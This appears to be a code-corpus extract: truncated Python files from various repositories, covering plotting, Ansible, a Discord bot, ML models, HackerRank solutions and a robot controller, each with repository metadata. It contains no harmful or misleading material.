__author__ = 'Шварева Софья Дмитриевна' # Задача-1: # Дан список фруктов. # Напишите программу, выводящую фрукты в виде нумерованного списка, # выровненного по правой стороне. # Пример: # Дано: ["яблоко", "банан", "киви", "арбуз"] # Вывод: # 1. яблоко # 2. банан # 3. киви # 4. арбуз # Подсказка: вос...
true
077e375aa66eeb675bf24afc85ccfd9d469dfdb7
ArnaudL-IT/DSFS
/Visualizing.py
UTF-8
1,089
3.296875
3
[]
no_license
from matplotlib import pyplot as plt ####################################################################### years = [1950, 1960, 1970, 1980, 1990, 2000, 2010] gdp = [300.2, 543.3, 1075.9, 2862.5, 5979.6, 10289.7, 14958.3] # create a line chart, years on x-axis, gdp on y-axis plt.plot(years, gdp, color = 'green', m...
true
14c8f57ab4472f245527ef3efc26ba5d98761950
EnterpriseDB/edb-ansible
/plugins/modules/linesinfile.py
UTF-8
14,900
2.5625
3
[ "BSD-3-Clause" ]
permissive
#!/usr/bin/python from __future__ import (absolute_import, division, print_function) import errno import fcntl import os import re import time import tempfile from ansible.module_utils.basic import AnsibleModule from ansible.module_utils._text import to_bytes, to_native, to_text __metaclass__ = type DOCUMENTATION ...
true
4e6273a472372b7b06682b9605cdca2a57d703f0
cambobot-kh/NekoBotRewrite
/modules/imgwelcome.py
UTF-8
7,807
2.8125
3
[]
no_license
from discord.ext import commands import discord, pymysql, config, requests from io import BytesIO from .utils import checks from PIL import Image, ImageFont, ImageDraw connection = pymysql.connect(user='root', password=config.dbpass, host='localhost', ...
true
67973fe2770da1eb253da9a819a25f4cc4390e25
redis-field-engineering/demo-openflight-graph
/gen_airports.py
UTF-8
529
2.703125
3
[]
no_license
#!/usr/bin/env python import csv fields=[ "Airport_ID", "Name", "City", "Country", "IATA", "ICAO", "Latitude", "Longitude", "Altitude"] with open('Airport.csv', 'w', newline='') as csvfile: writer = csv.DictWriter(csvfile, fieldnames=fields) writer.writeheader() with open('airports.dat', newline='') as ...
true
6d44a1b5e941b974b9cf7fca523d2f9f4d01d123
sersavn/practice-hackerrank
/Python/Itertools/Itertoolsproduct.py
UTF-8
258
3.125
3
[]
no_license
#Sample Input #1 2 #3 4 #Sample Output #(1, 3) (1, 4) (2, 3) (2, 4) from itertools import product l1 = sorted(list(map(int, input().split()))) l2 = sorted(list(map(int, input().split()))) result = (list(product(l1, l2))) print(" ".join(map(str, result)))
true
a7d3220e7e201f58187958023af3746f90362761
Quantum99/HKRank
/pair.py
UTF-8
210
2.84375
3
[]
no_license
import sys pairs = 0 n, k = list(map(int, input().split())) a = list(map(int, input().split())) for x in range(0,len(a)): for v in range(x+1,len(a)): if (a[x] + a[v]) % k == 0: pairs += 1 print(pairs)
true
9777b295d8ec3e729454b73f8346fac5c88fc9ac
joshuayuan/ts-download
/script.py
UTF-8
3,428
2.875
3
[]
no_license
import os import requests import json from tqdm import tqdm class Video: def __init__(self, p, n, up, um, us, s): self.path = p self.name = n self.url_prefix = up self.url_mid= um self.url_suffix = us self.segments = s self.full_path = self.path + "/" + self....
true
2f58481349b682200cce80577fe5d5d9470b7c56
MrFiona/MachineLearning
/Regression/boston_house_predict.py
UTF-8
7,866
2.78125
3
[]
no_license
#!/usr/bin/env python # -*- coding: utf-8 -*- # Time : 2017-11-30 09:42 # Author : MrFiona # File : boston_house_predict.py # Software: PyCharm Community Edition import warnings import numpy as np import pandas as pd import matplotlib as mpl import matplotlib.pyplot as plt from sklearn.model_selection import t...
true
fce82a960226f023fb4074644ad0fcb70b242777
baierst/recsys-challenge-2019
/recsys/algorithms/price_algorithm/rec_price.py
UTF-8
811
3.140625
3
[]
no_license
import recsys.algorithms.utils as utils def calc_recommendation(df_expl): """Calculate recommendations based on price of items. The final data frame will have an impression list sorted according to the price per item in a reference data frame. :param df_expl: Data frame with exploded impression and pric...
true
1bfaadf663fdd861d8e19f3cff053c0647d6dec1
amalio/nif-spain-modules
/python/nifspain.py
UTF-8
565
3.25
3
[ "Unlicense", "LicenseRef-scancode-unknown-license-reference" ]
permissive
__author__ = 'amalio' class NifSpain: @staticmethod def get_letter(nif_numbers): correspondencia = "TRWAGMYFPDXBNJZSQVHLCKE" if type(nif_numbers) is not int: nif_numbers = int(nif_numbers) return correspondencia[nif_numbers % 23] def check(self, nif): if type(...
true
c40ad948bfdf2c5c9aa5e98d7e6896ed4aea92ee
goya1020/UNSW-Assignments
/COMP6714/submission.py
UTF-8
11,314
2.765625
3
[]
no_license
# Submission.py for COMP6714-Project2 ########################################################################## from __future__ import absolute_import from __future__ import division from __future__ import print_function import math import random import zipfile import numpy as np import tensorflow as tf import collec...
true
b2d8e3ca3719a7029b8104f64ffdb6399b08db2a
Minu-Chaudhary/Sign-Language-Recognization-for-deaf-mute-people
/Source_file_sl/Python_basics.py
UTF-8
652
4.28125
4
[]
no_license
#Python program to declare variables #as this is the testing file i am going to write about pitali mancu print ("pitli mancu") myname="minu" print(myname) mynumber=46 print(mynumber) mynum=0.4 print(mynum) #Python program to illustrate a list #create empty list list =[] #appending data in list list.a...
true
ce3575c474e735b80281f217e3cb74d1feb504ca
xiaol/foreign_news_crawler
/dw.py
UTF-8
3,489
2.578125
3
[]
no_license
# -*- coding: utf-8 -*- from crawler_framework.page import get_page from crawler_framework.Logger import INFO, DBG, ERR from lxml import etree from StringIO import StringIO import traceback import redis import time import urllib r = redis.StrictRedis(host='localhost', port=6379) source = u"德国之声" def dw_crawler(url)...
true
c768c4cfc316711ff531ce581632e81318b0f9bc
walshification/exercism
/python/largest-series-product/largest_series_product.py
UTF-8
1,378
3.859375
4
[]
no_license
import functools import operator from typing import List def largest_product(series: str, size: int) -> int: """Return largest product of contiguous n-size substrings of series. :param digit_string: str - string of digits to be parsed. :param size: int - length of the substrings to be compared. :retu...
true
9a48feb8624bed365572b570655b94e57eb518f5
JALVITO/Multilayer-Perceptron
/Neuron.py
UTF-8
2,035
3.34375
3
[]
no_license
import math import random class Neuron: def __init__(self, name, connections = []): self.name = name self.inputVal = 0 self.activationVal = 0 self.weights = {neuron: self.initWeight() for neuron in connections} self.last_weight_delta = {neuron: 0 for neuron in connections} ...
true
9eaab3d611b94bce7198f3b871293a60f0761e11
Brych2011/imgEvolving
/multiprocess_tests.py
UTF-8
777
2.96875
3
[]
no_license
from single_creature import Genome from multiprocessing import Pool import time def call_mutate(creature): creature.mutate() creature.update_array() creature.update_fitness() return creature if __name__ == '__main__': genome_list = [Genome(100) for i in range(5000)] p = Pool(5) t1 = time...
true
8dc71263f97a5adb18870e93605ce893a9c8dbf1
vkurup/project-euler
/17.py
UTF-8
1,433
4.46875
4
[]
no_license
#!/usr/bin/env python2 # how many letters are used if the numbers 1 to 1000 are written out # eg: # 1->5: one two three four five = 3 + 3 + 5 + 4 + 4 = 19 # # ignore spaces and hyphens. Use 'and' between hundreds and tens def convert_int_to_string(n): """Return string representation of integer n Only handles...
true
3f8ee0a2eb63b636011b9bf00371c727dcf5c937
hecmec/fs-crawler-elasticsearch-py
/bulkRequest.py
UTF-8
338
2.84375
3
[ "MIT" ]
permissive
#!/usr/bin/python class BulkRequest(object): def __init__(self): print("creating BulkRequest") self.requests = [] def numberOfActions(self) -> int: return len(self.requests) def add(self, request): self.requests.append(request) def getRequests(self): return ...
true
bbaf4782ecc7b49f2a7583aec2d262fefc3f5d94
youngsterjaidev/suren_project
/test.py
UTF-8
617
2.890625
3
[ "MIT" ]
permissive
from fs import open_fs #with open_fs('~/') as home_fs: # with home_fs.open('index.html') as fuck: #print(fuck.read()) #home_fs = open_fs("~/") #home_fs.writetext('goo.txt', 'fuck off') #home_fs.close() #with home_fs.open('goo.txt') as goo: #print(goo.read()) data = data2 = "" # Reading data fro...
true
089d99da69c130ba361a90fa80886727517e9ca1
SpringtoString/MF_SET
/MF.py
UTF-8
2,819
2.890625
3
[]
no_license
''' ''' import numpy as np # linear algebra import pandas as pd # data processing, CSV file I/O (e.g. pd.read_csv) import random from collections import Counter from sklearn.metrics import roc_curve, auc, average_precision_score import time import torch from torch.nn.parameter import Parameter import torc...
true
79613dcf292a62f0b3990df4df475eb845b42612
Issa900/AP_Intern
/phylogenie/concat_Tree.py
UTF-8
1,446
2.53125
3
[]
no_license
#!/usr/bin/env python # -*- coding: utf-8 -*- '''change protein name to proteome name in the cluster trees ''' import re, os from ete3 import Tree import random def read_newick (path_tree): trees = [] # for filename in file_in: # if filename.endswith('.aln'): # path_tree = os.path.join(dir...
true
d13dc54b7651a8c844d7469292f0d9a46bdc18c7
alexforcode/py_arcadegames_craven
/ch14/14.5.py
UTF-8
656
3.78125
4
[]
no_license
import random class Monster(): char_type = '' hit_points = 0 def print(self): print('Monster: {0}. Hit Points: {1}'.format(self.char_type, self.hit_points)) class Goblin(Monster): def __init__(self): self.char_type = 'Goblin' self.hit_points = random.randrange(5, 10) class Or...
true
610fc31f8f423851a330b0666d372e13cd2f6513
zig-zagreus/async-ev-cnn
/src/layers/functional.py
UTF-8
3,829
3.34375
3
[ "MIT" ]
permissive
import numpy as np def im2col(image, ksize, stride=1): """ Rearranges the input's image into columns based on the receptive field define by ksize and stride :param image: A numpy's ndarray of shape [batch, in_channel, height, width] or [in_channel, height, width] :param ksize: A python's int32 list c...
true
e206d9cf60c32cf4b1f65457d58d3e02014f02b5
gsalgado2138/Python-Code-Samples
/class lab.py
UTF-8
870
3.96875
4
[]
no_license
#program that prints hello world #giovanni #october 12,2021 # 1 print("hello world") #2 user= input('what is your name') greet= ('my name is') print(greet + " " + user) #3 name1= input("name of proffesor:") print( "hello", greet, "and", name1) #4 pi= 3.147 ''' area of a circle is, area = pi* radius **2 ''' print(...
true
3feb7a911fd006630cd957d87f9e74eb4bbd4646
oberger4711/project-euler
/40/solve.py
UTF-8
458
3.453125
3
[]
no_license
#!/usr/bin/env python3 import utils import numpy as np # https://projecteuler.net/problem=40 # Straight forward. def digits(): for n in utils.naturalNumbers(1): s = str(n) for ch in s: yield int(ch) ns = (1, 10, 100, 1000, 10000, 100000, 1000000) factors = [] for i, dig in enumerate(...
true
ffa9fbfb8ab148dd9348e6623f724635a3343509
theJMC/codeProjects
/Python/DataBase Testing/YT Tutorial/sqlite_demo.py
UTF-8
592
3.375
3
[]
no_license
import sqlite3 from employee import Employee conn = sqlite3.connect('employee.db') c = conn.cursor() try: c.execute("""CREATE TABLE employees ( first text, last text, pay integer )""") except Exception as e: pass emp_1 = Employee('John', 'Smith...
true
49aa285c14e27bd2f5bad8eb0ad7a0860e316332
KTH-SML/sml_nexus_tutorials
/sml_nexus_tutorials/src/back_and_forth_controller.py
UTF-8
7,013
2.84375
3
[ "MIT" ]
permissive
#!/usr/bin/env python #===================================== # Simple controller for the # SML Nexus robot # ---- # Listen to the robot pose from # the mocap system and output a # velocity command to drive the # robot back and forth between # two points #=======...
true